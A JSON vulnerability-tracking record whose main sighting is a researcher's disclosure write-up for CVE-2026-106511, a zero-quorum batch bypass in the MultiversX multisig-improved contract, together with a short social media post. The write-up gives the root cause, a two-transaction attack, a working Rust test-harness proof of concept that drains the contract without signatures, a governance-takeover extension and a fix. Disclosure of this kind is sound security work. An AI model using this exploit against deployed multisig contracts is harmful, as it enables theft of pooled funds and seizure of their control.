{"vulnerability": "CVE-2026-106511", "sightings": [{"uuid": "643ab15f-7d80-49b5-9227-ee7fbb9e7b93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-106511", "type": "seen", "source": "https://gist.github.com/x01griax/c03f4be898dc55ccf3bab667c83c7312", "content": "# CVE-2026-106511: Zero-Quorum Batch Execution Bypass in MultiversX multisig-improved\n\n**Author:** x01griax\n**CVE:** [CVE-2026-106511](https://www.cve.org/CVERecord?id=CVE-2026-106511)\n**CERT/CC Case:** VU#841763\n**Vendor:** MultiversX\n**Repository:** [multiversx/mx-multisig-and-modules](https://github.com/multiversx/mx-multisig-and-modules)\n**Affected commit:** `2e6dbea40f9b8ac165572a9efd4304804762a299`\n**Severity:** Critical\n**Disclosure timeline:** Reported to vendor via responsible disclosure channel \u2192 no response after 30+ days and a 7-day follow-up deadline \u2192 escalated to CERT/CC \u2192 vendor remained unresponsive through the coordination window \u2192 embargo expired \u2192 CVE published\n\n---\n\n## Summary\n\n`multisig-improved`'s batch proposal path, `propose_batch()`, stores each action with `action_mapper().push(&amp;action)` instead of the shared `add_action()` helper that every other proposal endpoint in the contract uses. `add_action()` is the only function that writes `quorum_for_action[action_id]`; skipping it leaves that storage slot at its unset framework default of `0`. `quorum_reached()` checks `valid_signers_count &gt;= quorum_for_action[action_id]`, so a `0` threshold is satisfied by zero signatures, unconditionally.\n\n`perform_batch()` adds no independent authorization beyond `quorum_reached()` and a role check that the **Proposer** role \u2014 a role explicitly designed to be unable to sign actions \u2014 already satisfies by default.\n\n**Net effect:** any address holding the Proposer role can call `proposeBatch()` with a fund-transfer action and immediately call `performBatch()` to execute it, draining the contract's entire EGLD/ESDT balance in two transactions with zero board-member signatures.\n\n---\n\n## Background: What a Multisig Is Supposed to Guarantee\n\nThe entire security property a multisig contract exists to provide is that fund movement requires signatures from a quorum of Board Members. `multisig-improved` implements a role model with three tiers:\n\n```rust\n// multisig-improved/src/common_types/user_role.rs\npub fn can_propose(&amp;self) -&gt; bool { matches!(*self, UserRole::BoardMember | UserRole::Proposer) }\npub fn can_perform_action(&amp;self) -&gt; bool { self.can_propose() }   // Proposer included\npub fn can_sign(&amp;self) -&gt; bool { matches!(*self, UserRole::BoardMember) }  // Proposer excluded\n```\n\nA **Proposer** can queue an action and later trigger its execution \u2014 but only after Board Members have signed it. `can_sign()` is the boundary meant to enforce that ordering: Proposers queue, Board Members approve, Proposers (or anyone) can then trigger execution of an *already-approved* action.\n\nThis bug doesn't touch `can_sign()` or any role check directly. It removes the thing those checks were meant to gate on.\n\n---\n\n## Root Cause\n\nThe contract enforces quorum **per-action**, not globally. Each proposed action snapshots the quorum requirement at creation time into `quorum_for_action[action_id]`, and execution later checks accumulated signatures against that stored snapshot \u2014 not against the contract's live `quorum` value.\n\n`add_action()` is the single function responsible for writing that snapshot:\n\n```rust\n// multisig-improved/src/action_types/propose.rs\nfn add_action(&amp;self, action: &amp;Action) -&gt; ActionId {\n    let action_id = self.action_mapper().push(action);\n    let quorum = self.quorum().get();\n    self.quorum_for_action(action_id).set(quorum);\n    action_id\n}\n```\n\nEvery single-action endpoint \u2014 `proposeAddBoardMember`, `proposeTransferExecute`, `proposeChangeQuorum`, and others \u2014 calls `add_action()`, so every single-action proposal has a correctly recorded quorum.\n\n`propose_batch()` is the one path that diverges:\n\n```rust\n// multisig-improved/src/ms_endpoints/propose.rs \u2014 propose_batch()\nlet action_id = action_mapper.push(&amp;action);   // quorum_for_action[action_id] is never set\n```\n\nThe `multiversx-sc` framework's `SingleValueMapper` returns `0` for any key never explicitly written \u2014 documented, standard framework behavior, not a framework defect. Because `propose_batch` never calls `add_action()`, `quorum_for_action[action_id]` for every batched action reads as this `0` default.\n\n`quorum_reached()` then evaluates the comparison exactly as written:\n\n```rust\n// multisig-improved/src/common_functions.rs\nlet quorum = self.quorum_for_action(action_id).get();      // 0\nlet valid_signers_count = self.get_action_valid_signer_count(action_id);\nvalid_signers_count &gt;= quorum                                // 0 &gt;= 0 \u2192 true, unconditionally\n```\n\n`0 &gt;= 0` is true regardless of how many valid signatures actually exist, including zero. Execution becomes \"authorized\" purely because the threshold it's being compared against was never initialized \u2014 not because any signature-counting logic is flawed.\n\n---\n\n## Why Existing Defenses Fail\n\nThe contract has three layers that are meant to prevent exactly this outcome. This bug bypasses each of them for the batch path without any single layer individually malfunctioning:\n\n| Layer | Intended behavior | Why it fails here |\n|---|---|---|\n| **Role check** | `require_can_propose` / `require_can_perform_action` admit Proposer by design \u2014 they queue and trigger, but shouldn't be the only gate | Behaves correctly; it was never meant to be sufficient alone |\n| **Quorum enforcement** | Meant to stop a Proposer from executing an unapproved action | Fails silently \u2014 not because `&gt;=` is wrong, but because `quorum_for_action[id]` was never initialized for batched actions |\n| **Signatures** | `can_sign()` correctly restricts signing to Board Members | Rendered moot \u2014 `quorum_reached()` no longer depends on actual signer count once the recorded threshold is `0` |\n\n```rust\n// multisig-improved/src/ms_endpoints/perform.rs \u2014 perform_batch()\nfn perform_batch(&amp;self, group_id: GroupId) {\n    let (_, caller_role) = self.get_caller_id_and_role();\n    caller_role.require_can_perform_action::();\n\n    let group_status = self.action_group_status(group_id).get();\n    require!(group_status == ActionStatus::Available, \"cannot perform actions of an aborted batch\");\n    ...\n    for action_id in &amp;action_ids {\n        require!(self.quorum_reached(action_id), \"quorum has not been reached\");\n        let _ = self.perform_action_by_id(action_id);\n    }\n}\n```\n\n`propose_batch` has never called `add_action()` at any point in this file's revision history \u2014 the helper was adopted by the single-action endpoints without the batch endpoint being updated to match, and the divergence has persisted since the batch endpoint was introduced.\n\n---\n\n## Attack Scenario\n\n**Precondition:** the attacker holds the Proposer role on a `multisig-improved` deployment, obtained through the contract's normal onboarding process (a Board Member proposes and signs `AddProposer`). This is standard practice for any Proposer and requires no Board Member collusion beyond ordinary onboarding.\n\n1. Attacker calls `proposeBatch([SendTransferExecuteEgld { to: attacker, amount: full_balance }])`. The action is stored with `quorum_for_action[id] = 0` due to the root cause above.\n2. Attacker calls `performBatch(group_id)`. `quorum_reached()` returns `true` with zero signatures recorded; the transfer executes.\n\nTwo transactions. No signatures. No board cooperation beyond the attacker's original onboarding. No race condition. No special contract configuration.\n\nA minimal extension of the same batch \u2014 appending `ChangeQuorum(1)` and `AddBoardMember(attacker)` \u2014 converts a one-time theft into permanent governance takeover, since both actions are subject to the identical zero-quorum bypass.\n\n---\n\n## Proof of Concept\n\nInitial state: the multisig holds 1000 EGLD. The attacker is onboarded as Proposer only \u2014 never Board Member, never able to call `sign()` successfully \u2014 via the contract's real `proposeAddProposer` \u2192 board-signs \u2192 `performAction` flow, so the starting privilege level matches a realistic attacker rather than a contrived state.\n\n```rust\n// Drop into multisig-improved/tests/ms_improved_tests.rs \u2014 uses only imports\n// and helpers already present in that file.\n//\n// Run: cargo test --test ms_improved_tests \\\n//        exploit_proposer_drains_multisig_via_batch_zero_signatures -- --nocapture\n// Requires rustc &gt;= 1.78 (multiversx-sc =0.52.3 MSRV).\n\n#[test]\nfn exploit_proposer_drains_multisig_via_batch_zero_signatures() {\n    let mut ms_setup = MsImprovedSetup::new(multisig_improved::contract_obj, adder::contract_obj);\n\n    // Fund the multisig, simulating a live treasury.\n    let ms_address = ms_setup.ms_wrapper.address_ref().clone();\n    ms_setup.b_mock.set_egld_balance(&amp;ms_address, &amp;rust_biguint!(1_000));\n\n    // Legitimate onboarding: a board member proposes and signs the addition.\n    // The attacker ends up with Proposer only \u2014 never Board Member, never\n    // able to sign anything. This step is NOT part of the exploit.\n    let attacker = ms_setup.b_mock.create_user_account(&amp;rust_biguint!(0));\n    let add_proposer_action = ms_setup.propose_add_proposer(&amp;attacker);\n    ms_setup.sign(add_proposer_action, 0);\n    ms_setup.perform(add_proposer_action);\n    ms_setup.expect_user_role(&amp;attacker, UserRole::Proposer);\n\n    // --- Exploit begins here. No call to ms_setup.sign() appears below. ---\n\n    let mut group_id = 0;\n    ms_setup\n        .b_mock\n        .execute_tx(&amp;attacker, &amp;ms_setup.ms_wrapper, &amp;rust_biguint!(0), |sc| {\n            let steal_action = Action::SendTransferExecuteEgld(CallActionData {\n                to: managed_address!(&amp;attacker),\n                egld_amount: managed_biguint!(1_000),\n                opt_gas_limit: None,\n                endpoint_name: managed_buffer!(b\"\"),\n                arguments: ManagedVec::new(),\n            });\n\n            let mut batch = MultiValueEncoded::new();\n            batch.push(steal_action);\n            group_id = sc.propose_batch(batch);\n        })\n        .assert_ok();\n\n    ms_setup\n        .b_mock\n        .execute_tx(&amp;attacker, &amp;ms_setup.ms_wrapper, &amp;rust_biguint!(0), |sc| {\n            sc.perform_batch(group_id);\n        })\n        .assert_ok(); // succeeds with zero signatures if the bug is present\n\n    // --- Assertions: full balance moved, zero signatures were ever recorded. ---\n    ms_setup.b_mock.check_egld_balance(&amp;ms_address, &amp;rust_biguint!(0));\n    ms_setup.b_mock.check_egld_balance(&amp;attacker, &amp;rust_biguint!(1_000));\n}\n```\n\nThis PoC is written directly against the repository's real test fixture (`MsImprovedSetup`, `multisig-improved/tests/ms_improved_setup/mod.rs`) and real function signatures pulled from the dependency source \u2014 every code excerpt in this write-up is copied verbatim from the repository at the commit above.\n\n---\n\n## Impact\n\n- **Immediate fund theft** \u2014 a Proposer can transfer 100% of the contract's EGLD and ESDT balance to an attacker-controlled address in a single `performBatch` call.\n- **Authorization bypass** \u2014 the M-of-N signature requirement, the contract's core security property, is fully bypassed for the batch execution path.\n- **Governance takeover** \u2014 the same batch can include `ChangeQuorum(1)` and `AddBoardMember(attacker)`, both subject to the identical zero-quorum bypass, giving the attacker unilateral control over future contract actions.\n- **Permanent compromise** \u2014 once quorum is reduced to 1 and the attacker holds a Board Member seat, the contract's remaining signature protections no longer meaningfully constrain the attacker for any future action, batched or not.\n\nThis qualifies as Critical: it defeats the multisig's core security guarantee for an actor the contract's own role model says should never be able to move funds alone.\n\n---\n\n## Fix\n\n```rust\n// multisig-improved/src/ms_endpoints/propose.rs \u2014 propose_batch()\n\n// Before (vulnerable):\nlet action_id = action_mapper.push(&amp;action);\n\n// After:\nlet action_id = self.add_action(&amp;action);\n```\n\n`add_action()` performs the same underlying push and returns the same `action_id`, so the surrounding per-action signer logic (`if caller_role.can_sign() { self.action_signer_ids(action_id).insert(caller_id); }`) is unaffected. The repository's existing `transfer_execute_batch_test` (which signs before performing) continues to pass unmodified \u2014 no regression.\n\n---\n\n## References\n\n- CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-106511\n- CERT/CC Vulnerability Note: VU#841763\n- Repository: https://github.com/multiversx/mx-multisig-and-modules\n- MultiversX Responsible Disclosure Policy: https://multiversx.com/legal/responsible-disclosure-policy\n\n---\n\n*Researcher: x01griax. Reported through CERT/CC's coordinated disclosure process after the vendor did not respond to direct outreach or a stated 7-day disclosure deadline.*", "creation_timestamp": "2026-10-06T22:45:34.000000Z"}, {"uuid": "6af94eb7-f08c-43d5-bfdc-ea9ac61f0d11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-106511", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mxcwygzqly22", "content": "CVE-2026-106511 - multisig-improved\nThe MultiversX multisig\u2011improved smart contract code does not verify that a Proposer has separate permission before taking certain actions. Because of this, anyone\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#multisigimproved #CVE #infosec", "creation_timestamp": "2026-10-07T22:00:05.515636Z"}]}